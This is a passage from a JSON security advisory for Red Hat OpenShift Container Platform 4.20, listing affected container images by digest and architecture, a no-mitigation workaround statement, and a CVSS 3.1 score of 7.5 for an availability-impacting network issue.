"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
